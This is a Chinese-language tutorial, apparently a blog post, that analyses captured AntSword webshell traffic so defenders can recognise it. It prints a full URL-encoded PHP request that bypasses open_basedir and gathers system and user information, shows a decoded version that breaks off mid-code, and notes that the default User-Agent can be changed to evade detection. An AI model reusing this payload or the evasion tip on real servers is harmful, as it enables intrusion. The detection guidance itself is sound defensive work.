渗透测试之webshell 蚁剑 流量分析 特性分析 抓包分析

目录

蚁剑是什么

特性简介:

蚁剑流量特征两大特征

流量分析

分析

UserAgent 

数据内容

解码

分析

总结

渗透测试之webshell 蚁剑 流量分析 特性分析 抓包分析_第1张图片

蚁剑是什么

  • 蚁剑(AntSword)是一款开源的跨平台WebShell管理工具

特性简介:

  • AntSword(蚁剑)是一款开源的网络安全工具,常用于网络渗透测试和攻击。
  • 它可以远程连接并控制被攻击计算机,执行命令、上传下载文件等操作。
  • 蚁剑与网站进行数据交互的过程中 发送的数据是经过编码器编码后再发送 支持的编码方式有default(默认的)、base64、chr、chr16、rot13
    • 网站返回的数据经过解码器中的编码方式编码后返回 支持的编码方式有default、base64、rot13。

蚁剑流量特征两大特征

  • 流量特征主要表现在数据包的加密方式和数据类型

  • 蚁剑使用了AES加密算法对数据进行加密,同时还使用了自定义的二进制协议,在通信中传输各种类型的数据
    • 默认的USER-agent请求头 是 antsword xxx
    • 但是 可以通过修改:/modules/request.js 文件中 请求UA绕过。
  • 这个也就是需要通过URL解码
    • 其中流量最中明显的特征为@ini_set("display_errors","0")
    • @set time limit (0)
    • 这段代码基本是所有webshe11客户端链接PHP类Webshe11都有的一种代码 。
  • 蚁剑混淆加密后还有一个比较明显的特征
    • 即为参数名大多以“0x加密后”“这种形式(下划可换》
    • 所以以-0x开头的参数也很可能就是恶意流量

流量分析

  • 准备好你的一句话木马 在准备抓包工具进行抓流量进行分析

渗透测试之webshell 蚁剑 流量分析 特性分析 抓包分析_第2张图片

  • 抓包
  • 黑色的数据是蚁剑进行了多次的

    • 原因是网络数据包未被ACK确认

    • 为了避免数据丢失而进行错误恢复,出现重传原因有很多,服务器性能下降,网络数据拥塞,网络不稳定抖动,程序BUG,设备故障。

    • 因为此次传输时在局域网内部,可能是虚拟机的性能不好

渗透测试之webshell 蚁剑 流量分析 特性分析 抓包分析_第3张图片

  • 选择第一个 点击TCP追踪流量

渗透测试之webshell 蚁剑 流量分析 特性分析 抓包分析_第4张图片

渗透测试之webshell 蚁剑 流量分析 特性分析 抓包分析_第5张图片

分析

UserAgent 

  • 特性之一 查看UserAgent
  • 蚁剑使用了AES加密算法对数据进行加密,同时还使用了自定义的二进制协议,在通信中传输各种类型的数据
    • 默认的USER-agent请求头 是 antsword xxx
    • 但是 可以通过修改:/modules/request.js 文件中 请求UA绕过。
  • 看一下UserAgent
  • 我们可以看一下下面的header中的User_agent 不是antsword xxx
  • 那么就需要查看另外一种特性是否存在
POST /kod/data/User/admin/home/1.php HTTP/1.1
Host: 192.168.1.12
Accept-Encoding: gzip, deflate
User-Agent: Opera/9.80 (Windows NT 5.1; U; zh-tw) Presto/2.8.131 Version/11.10
Content-Type: application/x-www-form-urlencoded
Content-Length: 1799
Connection: close

数据内容

  • 我们可以看到出现了%40 从URL编码格式解析出来的格式
    • @ 那么我们这里就可以用url编码来解码这串内容 看看解析出来是什么?
haolo=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3B%24opdir%3D%40ini_get(%22open_basedir%22)%3Bif(%24opdir)%20%7B%24ocwd%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3B%24oparr%3Dpreg_split(base64_decode(%22Lzt8Oi8%3D%22)%2C%24opdir)%3B%40array_push(%24oparr%2C%24ocwd%2Csys_get_temp_dir())%3Bforeach(%24oparr%20as%20%24item)%20%7Bif(!%40is_writable(%24item))%7Bcontinue%3B%7D%3B%24tmdir%3D%24item.%22%2F.db704d843f55%22%3B%40mkdir(%24tmdir)%3Bif(!%40file_exists(%24tmdir))%7Bcontinue%3B%7D%24tmdir%3Drealpath(%24tmdir)%3B%40chdir(%24tmdir)%3B%40ini_set(%22open_basedir%22%2C%20%22..%22)%3B%24cntarr%3D%40preg_split(%22%2F%5C%5C%5C%5C%7C%5C%2F%2F%22%2C%24tmdir)%3Bfor(%24i%3D0%3B%24i%3Csizeof(%24cntarr)%3B%24i%2B%2B)%7B%40chdir(%22..%22)%3B%7D%3B%40ini_set(%22open_basedir%22%2C%22%2F%22)%3B%40rmdir(%24tmdir)%3Bbreak%3B%7D%3B%7D%3B%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%22a1cc2%22.%22fb143b%22%3Becho%20%40asenc(%24output)%3Becho%20%22d7ef%22.%2208da%22%3B%7Dob_start()%3Btry%7B%24D%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3Bif(%24D%3D%3D%22%22)%24D%3Ddirname(%24_SERVER%5B%22PATH_TRANSLATED%22%5D)%3B%24R%3D%22%7B%24D%7D%09%22%3Bif(substr(%24D%2C0%2C1)!%3D%22%2F%22)%7Bforeach(range(%22C%22%2C%22Z%22)as%20%24L)if(is_dir(%22%7B%24L%7D%3A%22))%24R.%3D%22%7B%24L%7D%3A%22%3B%7Delse%7B%24R.%3D%22%2F%22%3B%7D%24R.%3D%22%09%22%3B%24u%3D(function_exists(%22posix_getegid%22))%3F%40posix_getpwuid(%40posix_geteuid())%3A%22%22%3B%24s%3D(%24u)%3F%24u%5B%22name%22%5D%3A%40get_current_user()%3B%24R.%3Dphp_uname()%3B%24R.%3D%22%09%7B%24s%7D%22%3Becho%20%24R%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3BHTTP/1.1
解码

haolo=@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.db704d843f55";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\\\|\//",$tmdir);for($i=0;$igetMessage();};asoutput();die();HTTP/1.1 200 OK

分析
  • 看一下内容解析后的数据
  • 内容数据特性
  • 这个也就是需要通过URL解码
    • 其中流量最中明显的特征为@ini_set("display_errors","0")
    • @set time limit (0)
    • 这段代码基本是所有webshe11客户端链接PHP类Webshe11都有的一种代码 。

渗透测试之webshell 蚁剑 流量分析 特性分析 抓包分析_第6张图片

  • 通过蚁剑的内容解析可以看到 明显的流量特征
  • 含有 【以及其余的危险函数】
    • @ini_set("display_errors","0")
    • @set time limit (0)
  • 通过分析就可以发现这样的连接就具备蚁剑的流量特性

总结

  • 查看请求头是否有明显的标识符

  • 通过URL解码来查看报文中是否存在危险函数或者有@ini_set(“display_errors”,“0”)。

  • 其实现在大多数的waf工具都具备这样的流量特性防护规则,所以如果我们想绕过这样的waf限制其实是需要进行魔改webshell管理连接工具的,至于如何魔改这个我们后面再说!

  • 而这篇文章我们主要知道蚁剑的流量特性是什么 这也便于我们作为蓝队的人员进行防护以及流量分析

你可能感兴趣的:(网络安全,安全,系统安全,web安全,安全架构,网络攻击模型)